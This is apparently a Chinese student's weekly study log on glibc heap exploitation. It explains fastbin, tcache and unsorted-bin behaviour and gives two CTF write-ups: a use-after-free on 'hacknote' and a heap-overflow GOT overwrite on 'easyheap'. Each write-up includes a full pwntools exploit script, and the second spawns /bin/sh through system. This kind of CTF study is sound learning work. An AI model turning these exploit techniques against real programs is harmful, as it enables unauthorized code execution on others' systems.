本周学习总结
堆。。。堆起来了?
全局常量声明:新手上路,文章内容仅是由教程观点和自己总结获得,仅供参考。
一、Bins
在glibc中对于被free掉的堆块有不同的bins进行管理,方便下次再次使用malloc进行申请。
fastbins,tcachebins,unsortedbins等。
x64(对于x32的范围数值需要除以2)
1.fastbins
回收的块范围是0x200x80(x32就是0x100x40),被回收的块一般不会合并。采用后进先出的原则。经过gdb观察,每次被释放的块都会被插入头节点,申请时也是从头节点取出,其中fd指针指向下一个要被头节点指向的块。A|M|P中P的值始终为1。
2.tcachebins
在glibc2.26及以后版本出现,类似fastbins,回收块的范围是0x20~0x410,限制每种块的数量为7个,多余的块会进入其他原本该进入bins中,后进先出原则,优先级高于任何bins。比较明显的区别就是tcachebin中的链表指针指向的下一个chunk的fd字段,fastbin中的链表指针指向的是下一个chunk的prev_size字段。
3.unsortedbins
被称为未排序的堆块链表。回收块的大小大于0x80,优先级小于tcachebins高于其他bins。双向链表,先进先出原则,进入的块被插入头节点,申请时从尾节点取出块。可用于暴露__malloc_hook。
二、Easy–hacknote–uaf漏洞
前置技能:uaf漏洞初解
glibc:2.31(本地)
下载得到ELF文件hacknote。
check!

32位,canary+NX开启。
ida分析如下:
main:


add:


del:

show:

magic:

在del中发现uaf漏洞,free掉后没有将pttr+v1清0。在add中,每次申请块时都会先申请一个0x8大小的块,前半部分用于存放一个输出函数的地址,后半部分用于存放申请到的块指针。
我们可以先申请2次0x10大小块,这样我们就得到了2个0x8大小的块和2个0x10大小的块,接着free他们,这样tcachebins中就有了4个块,我们在申请1次0x8大小的块,tcachebins就会给我们2块0x8大小的块,第一块被程序使用,第二块也就是我们之前第一次申请的块,我们将他修改为magic的地址,接着show掉他,此时就执行了magic。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| from pwn import *
def stre(a): return str(a).encode()
def ph(a, b="addr"): print(b + ":" + hex(a))
def re(a): return p.recv(a)
def pre(a): print(p.recv(a))
def reu(a, b=False): return p.recvuntil(a, drop=b)
def rel(): return p.recvline()
def se(a): p.send(a)
def sea(a, b): p.sendafter(a, b)
def sel(a): p.sendline(a)
def sela(a, b): p.sendlineafter(a, b)
def op(): p.interactive()
def raddr64(): return u64(p.recv(6).ljust(8, b'\x00'))
def raddr32(): return u32(p.recv(4))
def gdbp(p, a=''): if a == '': gdb.attach(p) pause() else: gdb.attach(p, a) pause()
def gret(elf): rop = ROP(elf) rop_ret = rop.find_gadget(["ret"]).address return rop_ret
p = process("./hacknote")
def add(size, text): sea(b"choice :", stre(1)) sea(b"size :", stre(size)) sea(b"Content :", text)
def dele(count): sea(b"choice :", stre(2)) sea(b"Index :", stre(count))
def show(count): sea(b"choice :", stre(3)) sea(b"Index :", stre(count))
add(0x10, b"123") add(0x10, b"456") dele(0) dele(1) add(0x8, p32(0x804898F)) show(0) op()
|
三、Easy–easyheap–堆溢出漏洞
前置技能:堆溢出初解
下载得到文件easyheap
glibc:2.31(本地)
check:

64位程序,canary+NX开启。
ida分析:
main:


add:

edit:

del:

door:

所有的块的位置都由一个叫heaparray的全局数组记录,del函数中没有uaf漏洞,但是在edit函数中由于没有限制编辑堆的大小出现了堆溢出漏洞。我们可以修改free函数的got表来实现对system的调用,我们可以在某个块中写入比如编号为1号的块(从0号开始编号)写入”/bin/sh\x00”,此时我们使用free(1)相当于system(“/bin/sh\x00”)。
为了修改got表,我们可以先申请4个0x60大小的块,再释放3号和2号块,此时1号块与2号块相邻,2号块的fd记录的是3号块的地址,此时编辑1号块时我们可以修改2号块的fd到heaparray的位置,在填充的时候将“/bin/sh\x00”写在1号块的开头方便后面调用,再申请2个0x60大小的块。此时第一次申请的块是原先的2号块,第二次申请的块由原本的3号块变成了数组heaparray。
在这里还需要注意在申请块时会触发malloc的检查,我们不能直接将2号块的fd写成heaparray的地址,这个问题在后面再解释。
此时我们就有了修改数组heaparray的权利,我们此时编辑3号块就是编辑数组heaparray,我们将free的got地址写在heaparray[0]的位置,此时我们再使用edit修改0号块相当于修改free的got表,我们将system的plt地址写在这里,通过延迟绑定机制,free的got地址中会写入system在内存中的真实地址,此时我们调用del(1)相当于执行了system(“/bin/sh\x00”)。
为了绕开malloc检查,我们需要在heaparray附近找到一个合适的位置:

在0x6020A0这一行有一个7f,我们调整一下地址:

此时地址0x6020AD中最右边剩下了7f,我们挑选0x6020BD作为我们的目标地址,这是tcachebin中的链表指针指向的下一个chunk的fd字段的原因。此时与heaparray有0x23的距离(0x30-13)。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| from pwn import *
def stre(a): return str(a).encode()
def ph(a, b="addr"): print(b + ":" + hex(a))
def re(a): return p.recv(a)
def pre(a): print(p.recv(a))
def reu(a, b=False): return p.recvuntil(a, drop=b)
def rel(): return p.recvline()
def se(a): p.send(a)
def sea(a, b): p.sendafter(a, b)
def sel(a): p.sendline(a)
def sela(a, b): p.sendlineafter(a, b)
def op(): p.interactive()
def raddr64(): return u64(p.recv(6).ljust(8, b'\x00'))
def raddr32(): return u32(p.recv(4))
def gdbp(p, a=''): if a != '': gdb.attach(p, a) pause() else: gdb.attach(p) pause()
def gret(elf): rop = ROP(elf) rop_ret = rop.find_gadget(["ret"]).address return rop_ret
p = process("./easyheap") elf = ELF("./easyheap")
def add(size, text): sea(b"choice :", stre(1)) sea(b"Heap : ", stre(size)) sea(b"heap:", text)
def edit(count, size, text): sea(b"choice :", stre(2)) sea(b"Index :", stre(count)) sea(b"Heap : ", stre(size)) sea(b"heap : ", text)
def dele(count): sea(b"choice :", stre(3)) sea(b"Index :", stre(count))
add(0x60, b"A" * 8) add(0x60, b"B" * 8) add(0x60, b"C" * 8) add(0x60, b"D" * 8) dele(3) dele(2)
payload = b"/bin/sh\x00" + b'A' * 0x60 + p64(0x71) + p64(0x6020BD) edit(1, len(payload), payload)
add(0x60, b"E" * 8) add(0x60, b"F" * 8)
payload = b'A' * 0x23 + p64(elf.got["free"]) edit(3, len(payload), payload)
payload = p64(elf.plt["system"]) edit(0, len(payload), payload)
dele(1) op()
|
四、没有四了,装了一个新的虚拟机花费了大量的时间,下周在多写点堆题吧。
下周学习计划
| 应该要做的事情 |
继续堆的学习
学习感受